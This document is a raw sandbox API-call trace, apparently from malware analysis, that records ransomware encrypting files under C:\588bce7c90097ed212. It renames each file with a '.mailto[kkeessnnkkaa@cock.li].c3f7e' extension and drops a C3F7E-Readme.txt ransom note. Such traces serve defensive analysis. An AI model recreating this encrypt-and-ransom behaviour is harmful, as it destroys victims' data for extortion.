	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x7664d738
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x50c18440
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xc90fddcd
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xd1dd0aeb
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x1af5b525
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x797fcf98
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xc42eb418
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x36d29be5
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xdbacb0a
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xfd08c9
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x9339f4b5
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x8bfccfbb
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x91c66826
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x40059839
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x43dec08a
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xb5eb3ff2
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xc43b6dab
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x75ec580c
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x4612d5c7
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x16fda7ad
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x3376f05d
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x15ae40b9
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x7a66fa2d
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x3c4c62f1
	[0075.736] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.736] ReadFile (in: hFile=0x998, lpBuffer=0x48c9878, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9d0fa68, lpOverlapped=0x0 | out: lpBuffer=0x48c9878*, lpNumberOfBytesRead=0x9d0fa68*=0xc800, lpOverlapped=0x0) returned 1
	[0075.737] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0075.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0075.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48d6080
	[0075.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0075.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0075.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.739] WriteFile (in: hFile=0x998, lpBuffer=0x48d6080*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9d0fa68, lpOverlapped=0x0 | out: lpBuffer=0x48d6080*, lpNumberOfBytesWritten=0x9d0fa68*=0xc800, lpOverlapped=0x0) returned 1
	[0078.421] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48d6080) returned 1
	[0078.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48c9878) returned 1
	[0078.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb2a8
	[0078.422] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.422] WriteFile (in: hFile=0x998, lpBuffer=0x2d88cb8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x9d0fae8, lpOverlapped=0x0 | out: lpBuffer=0x2d88cb8*, lpNumberOfBytesWritten=0x9d0fae8*=0x113, lpOverlapped=0x0) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88cb8) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb4d8) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb2a8) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0078.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0078.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986a58
	[0078.668] wcscpy (in: _Dest=0x4986a58, _Source="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml"
	[0078.668] wcscat (in: _Dest=0x4986a58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.668] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9d0faa0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a9e8
	[0078.668] NtSetInformationFile (FileHandle=0x998, IoStatusBlock=0x9d0fa98, FileInformation=0x476a9e8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a9e8) returned 1
	[0078.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d6c8) returned 1
	[0078.724] NtQueryInformationFile (in: FileHandle=0x998, IoStatusBlock=0x9d0faac, FileInformation=0x9d0fa84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9d0faac, FileInformation=0x9d0fa84) returned 0x0
	[0078.724] NtSetInformationFile (FileHandle=0x998, IoStatusBlock=0x9d0faac, FileInformation=0x9d0fa84, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986a58) returned 1
	[0078.725] FlushFileBuffers (hFile=0x998) returned 1
	[0080.071] CloseHandle (hObject=0x998) returned 1
	[0080.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.178] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1037\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0080.178] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt"
	[0080.178] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\c3f7e-readme.txt")) returned 0x20
	[0080.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a310) returned 1

Thread:
	id = 190
	os_tid = 0x126c

	[0075.727] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0075.737] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.741] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x9d8fa28 | out: lpFileSize=0x9d8fa28*=4254) returned 1
	[0075.741] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x109a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.741] ReadFile (in: hFile=0x984, lpBuffer=0x9d8f9ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9d8f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9d8f9ac*, lpNumberOfBytesRead=0x9d8f9a8*=0x4, lpOverlapped=0x0) returned 1
	[0075.743] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0075.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0075.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.743] NtQuerySystemTime (in: CurrentTime=0x9d8f988 | out: CurrentTime=0x9d8f988*=132251868024815094) returned 0x0
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xf8afafa
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xce3ba83e
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x2f07e2d1
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x92843113
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xa3489d17
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x16e61896
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x5b454fbc
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x624c76d4
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x269566a1
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xa201988b
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xc78e6df6
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x7753e72
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x81ef6b01
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x29973724
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x62a7d4c4
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x5deec5b2
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xc2838f74
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x76e75757
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x12edd81b
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xdaa6054d
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x36ebdde1
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xb1dfe3f8
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x98badef
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xd9ccd5f9
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xc1188078
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x5bb7cd17
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x8818e9ec
	[0075.743] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xcc80011a
	[0075.744] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xa199af1a
	[0075.744] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xf12608cf
	[0075.744] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0x371d875
	[0075.744] RtlRandom (in: Seed=0x9d8f994 | out: Seed=0x9d8f994) returned 0xbc81174b
	[0075.754] ReadFile (in: hFile=0x984, lpBuffer=0x48e2888, nNumberOfBytesToRead=0x109e, lpNumberOfBytesRead=0x9d8f984, lpOverlapped=0x0 | out: lpBuffer=0x48e2888*, lpNumberOfBytesRead=0x9d8f984*=0x109e, lpOverlapped=0x0) returned 1
	[0075.754] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.754] WriteFile (in: hFile=0x984, lpBuffer=0x48ef090*, nNumberOfBytesToWrite=0x109e, lpNumberOfBytesWritten=0x9d8f980, lpOverlapped=0x0 | out: lpBuffer=0x48ef090*, lpNumberOfBytesWritten=0x9d8f980*=0x109e, lpOverlapped=0x0) returned 1
	[0075.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0075.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ef090) returned 1
	[0075.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e2888) returned 1
	[0075.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781508
	[0075.757] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.757] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9d8f9e8, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x9d8f9e8*=0x101, lpOverlapped=0x0) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0075.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0075.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0075.758] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1038\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf"
	[0075.758] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.759] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9d8f9a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0075.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0075.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0075.770] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x9d8f9ac, FileInformation=0x9d8f984, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9d8f9ac, FileInformation=0x9d8f984) returned 0x0
	[0075.770] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9d8f9ac, FileInformation=0x9d8f984, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0075.771] FlushFileBuffers (hFile=0x984) returned 1
	[0075.776] CloseHandle (hObject=0x984) returned 1
	[0075.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.776] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1038\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0075.776] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt"
	[0075.776] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.776] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.777] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x9d8f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x9d8f9a8*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.778] CloseHandle (hObject=0x984) returned 1
	[0075.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47306a0) returned 1

Thread:
	id = 191
	os_tid = 0x120c

	[0075.754] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0075.755] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x99c
	[0075.756] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x9e0fee0 | out: lpFileSize=0x9e0fee0*=86442) returned 1
	[0075.756] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x151a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.756] ReadFile (in: hFile=0x99c, lpBuffer=0x9e0fe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9e0fe60, lpOverlapped=0x0 | out: lpBuffer=0x9e0fe64*, lpNumberOfBytesRead=0x9e0fe60*=0x4, lpOverlapped=0x0) returned 1
	[0075.760] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0075.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0075.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.760] NtQuerySystemTime (in: CurrentTime=0x9e0fe40 | out: CurrentTime=0x9e0fe40*=132251868024971957) returned 0x0
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x73254811
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xdf9f64d7
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xe0dc4be7
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xbc8357c8
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x2e89ddcc
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xc8f56f6
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x656276bf
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xd88452b7
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x3ef65209
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x7af05502
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x1a95f6a4
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x56d0019d
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x7a08aae7
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xf115d960
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x18d14ced
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xfda5caef
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x5243312d
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xdc62094d
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x55595620
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x7c932f4c
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xa60632ff
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xb6987b2f
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x565eb4ad
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x46b63f9c
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xb5f595b1
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x35b3eb5e
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xbd26a961
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x44459ddc
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xd4c2a51d
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xe1fd8cdf
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0x1329465c
	[0075.760] RtlRandom (in: Seed=0x9e0fe4c | out: Seed=0x9e0fe4c) returned 0xec334c3c
	[0075.769] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.769] ReadFile (in: hFile=0x99c, lpBuffer=0x48e2888, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9e0fe20, lpOverlapped=0x0 | out: lpBuffer=0x48e2888*, lpNumberOfBytesRead=0x9e0fe20*=0xc800, lpOverlapped=0x0) returned 1
	[0075.772] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ef090
	[0075.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0075.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
